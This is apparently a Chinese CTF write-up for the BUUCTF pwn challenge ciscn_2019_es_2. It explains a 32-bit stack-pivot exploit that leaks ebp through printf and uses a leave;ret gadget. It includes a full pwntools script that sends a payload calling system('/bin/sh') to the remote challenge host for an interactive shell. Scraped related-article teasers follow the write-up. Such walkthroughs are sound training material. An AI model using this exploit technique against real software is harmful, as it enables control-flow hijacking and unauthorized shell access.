1.checksec+运行获取基本信息

32位+NX堆栈不可执行

2.常规IDA操作

1.main函数

并没有什么

2.int vul()函数

程序主体,信息很多

1.两次read都在往同一个地方s处读入数据

2.要读入0x30,但s大小只有0x28,如果有后门函数,直接常规栈溢出操作

但是shift+f12

这里仅仅是打印flag字符串,没有用

同时查看hack函数

system里面的参数不是bin_sh不能直接用,所以要修改system的参数

但是...........

s只有0x28,要读入0x30,所以只有0x30-0x28=0x8的空间让我们构造ROP链

于是乎

我们找新的地方,足够大来构造,也就是

栈迁移

但是栈迁移不是想用就能用的,需要满足条件

1.存在leave ret的gadget指令

2.存在可执行shellcode的地方(system函数,自己写入binsh)

利用思路+具体操作

题目两次read读入,有两次溢出,第一次溢出需要泄露栈上地址,为第二次迁移准备(确定迁移地址)

程序提供了printf函数,该函数有一个特性,在没有遇到终止符"\0"会一直输出,可利用它泄露出栈上地址,得到劫持位置的准确地址.

payload1 = b'A' * (0x27) + b'B'#留一个位置补"\0"#连带打印出ebp的地址
p.send(payload1) # 不要用 sendline,sendline会发送空格,导致无法补"\0"中断
p.recvuntil("B")#接收printf返回的ebp前要先recv前面read输入的内容
old_ebp = u32(p.recv(4))
print(hex(original_ebp))

缓冲区参数s的位置可以用ebp寻址,所以用printf泄露ebp的地址

用gdb确定参数位置

应该是不能在main函数下断点,断点下在main函数,不能再输入参数了

单用gdb不开root权限,可以输入,但是好像不能看栈的结构

其实下在main函数处

输入n,多运行几步,n到可以输入参数的位置就行了,但是要注意别n过头了

所以在想一个问题:

如何找到合适的下断点的位置?

目前还没有找到,先记下了----2022年4月22日晚10点记

将断点下在vul函数的nop位置

输入bbbb确定位置

python 计算一下

确定s位置

ebp-0x38

具体攻击过程

1.覆盖原栈上ret为leave ret的地址

2.将old_ebp覆盖为old_ebp-0x38,old_ebp已通过printf泄露出来

栈空间不会复原,而是

之后执行第二个leave ret,也就是已经实现将 esp 劫持至 old_ebp -0x38处的栈迁移效果

接下来

为常规的栈溢出操作,执行 system 的shellcode 以完成对 eip 与执行流的篡改

payload2 = b'aaaa'

payload2 += p32(system_addr)
payload2 += b'bbbb'

payload2 += p32(original_ebp - 0x28) #迁移到新位置就是一个正常的栈溢出,s大小为0x28
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')

补充:Python ljust知识

Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。

str = "this is string example....wow!!!";print str.ljust(50, '0');

输出结果:

this is string example....wow!!!000000000000000000

接着构造

payload2 += p32(original_ebp - 0x38) # 参数s的位置
payload2 += p32(leave_ret) # new leave ret

写到这里,最后交互,攻击就结束了

完整的脚本

from pwn import*
#p=process('./ciscn2019es2')
p=remote("node4.buuoj.cn",28058)system_addr = 0x08048400
leave_ret = 0x080484b8payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))payload2 = b'aaaa'
payload2 += p32(system_addr)
payload2 += b'bbbb'
payload2 += p32(original_ebp - 0x28)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')payload2 += p32(original_ebp - 0x38)
payload2 += p32(leave_ret) p.sendline(payload2)
p.interactive()

BUUCTF栈迁移ciscn_2019_es_2相关推荐

  1. 栈劫持(栈迁移)介绍

    栈劫持 栈劫持也可以称为栈迁移,用来解决栈本身可以利用的空间不够用,一般是溢出空间不够 用,没办法有效构造rop链.这个时候我们可以通过劫持ebp的方式,利用leave 和 ret两个汇编指令来做 到 ...

  2. 关于栈迁移的那些事儿

    一.前言 现在的CTF比赛中很难在大型比赛中看到栈溢出类型的赛题,而即使遇到了也是多种利用方式组合出现,尤其以栈迁移配合其他利用方式来达到组合拳的效果,本篇文章意旨通过原理+例题的形式带领读者一步步理 ...

  3. 遗留系统的技术栈迁移

    什么是遗留系统(Legacy System)?根据维基百科的定义,遗留系统是一种旧的方法.旧的技术.旧的计算机系统或应用程序[1].这一定义事实上并没有很好地揭露遗留系统的本质.我认为,遗留系统首先是 ...

  4. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  5. [BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)

    [BUUCTF-pwn]--ciscn_2019_es_2 题目地址: https://buuoj.cn/challenges#ciscn_2019_es_2 这是一道栈劫持的题,第一次写这种题的题解 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. buuctf(pwn)

    胖胖 pwn1_sctf_2016 ciscn_2019_n_11 补充movss /ucomiss jarvisoj_level0 ciscn_2019_c_1 babyrop [第五空间2019 ...

  8. 栈迁移过程记录,栈指针rsp、rbp、rip、leave变化过程

    栈迁移 利用条件: 能对bss段进行操作(可写.可执行) 有必要的ROP可用 通过ROP leave_ret 改变ebp的值伪造栈,到达栈迁移的目的.下面就一个题目的一个payload进行调试,逐指令 ...

  9. pwn-栈迁移-ROP

    # 栈迁移-ROP 题目描述 这里给出题目链接 https://github.com/LeeHaming/CTF-learn/blob/master/easyR0p/easyR0p 程序的结构很简单, ...

最新文章

  1. CTP综合交易平台-开发后感
  2. php怎么弄自动填充,ThinkPHP 自动填充(自动完成)详解及实例
  3. java本地读取文件的io类_Java File类与文件IO流总结
  4. 4.17杭州KubeMeet 开发者沙龙·云原生应用管理专场来啦!
  5. 如何使用yum来下载RPM包而不进行安装
  6. SpringBoot实战 之 异常处理篇
  7. 万能驱动xp离线版_教你用SC封装软件来封装XP系统
  8. maven系列一:pom.xml文件详解
  9. 推荐一个快速反射调用的类
  10. 直播预告 - 博时基金DevOps体系建设和自动化测试分享
  11. cache数据库和mysql_并发环境下,先操作数据库还是先操作缓存?
  12. 怎么开启队友无伤_王者荣耀:张飞辅助怎么玩才厉害?出装、打法,为你全面解析...
  13. oracle 函数_oracle中row_number、rank、dense_rank() 的区别(over函数)
  14. opencv3和qt5计算机视觉应用开发pdf_NeurIPS 2019:计算机视觉论文回顾
  15. mobi 转 pdf mobi格式转pdf格式 ePub azw3
  16. 传智播客黑马程序员之JAVA基础深入浅出精华版
  17. 如何给计算机d盘加密码,怎样给电脑文件夹加密
  18. AliOS Things学习笔记(5)——ESP8266对接天猫精灵下篇(设备端)
  19. 西瓜书——支持向量机
  20. enovia PLM : add new value to SPEO

热门文章

  1. Android平台5款GPS导航软件横向对比测试----纸上谈兵-模拟导航
  2. git am, git apply, git format-patch,git diff 用法
  3. UUUUUUUUUUnity
  4. 「Python循环结构」使用while循环实现基金投资
  5. 乾隆皇帝大年夜都吃啥?
  6. 计算机与医药信息学,浙江大学药物信息学研究所
  7. APIDOC使用避坑
  8. Water Sensor水位传感器学习笔记
  9. 基因编辑婴儿事件,克隆,转基因大豆,杂交水稻---基因改变会怎么样
  10. MyBatis框架学习笔记01:初生牛犊